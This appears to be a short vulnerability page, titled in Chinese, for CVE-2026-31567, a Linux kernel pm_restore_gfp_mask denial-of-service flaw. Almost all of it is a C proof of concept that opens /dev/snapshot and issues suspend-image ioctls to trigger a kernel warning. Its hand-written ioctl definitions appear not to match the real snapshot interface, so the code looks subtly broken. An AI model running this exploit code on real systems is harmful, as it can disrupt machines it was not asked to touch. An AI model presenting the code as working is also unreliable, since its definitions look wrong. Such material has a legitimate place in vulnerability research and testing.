CVE-2026-31567 Linux Kernel pm_restore_gfp_mask拒绝服务漏洞

/* * PoC for CVE-2026-31567 * This code attempts to trigger the spurious WARN_ON in pm_restore_gfp_mask * by interacting with the uswsusp interface (snapshot device). * Requires root or appropriate permissions to access /dev/snapshot. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> /* IOCTL definitions typically found in kernel headers */ #define SNAPSHOT_CREATE_IMAGE _IOR('S', 0x10, int) #define SNAPSHOT_UNFREEZE _IO('S', 0x15) int main() { int fd = open("/dev/snapshot", O_RDWR); if (fd < 0) { perror("Failed to open /dev/snapshot"); return 1; } printf("Attempting to trigger pm_restore_gfp_mask warning...\n"); // Calling CREATE_IMAGE may trigger the suspend path where the bug occurs // depending on the kernel state and refcount. if (ioctl(fd, SNAPSHOT_CREATE_IMAGE, 0) < 0) { perror("IOCTL SNAPSHOT_CREATE_IMAGE failed (expected if not in correct state)"); } // Subsequent operations might trigger the defensive restore call if (ioctl(fd, SNAPSHOT_UNFREEZE) < 0) { perror("IOCTL SNAPSHOT_UNFREEZE failed"); } close(fd); printf("Check dmesg for WARN_ON output.\n"); return 0; }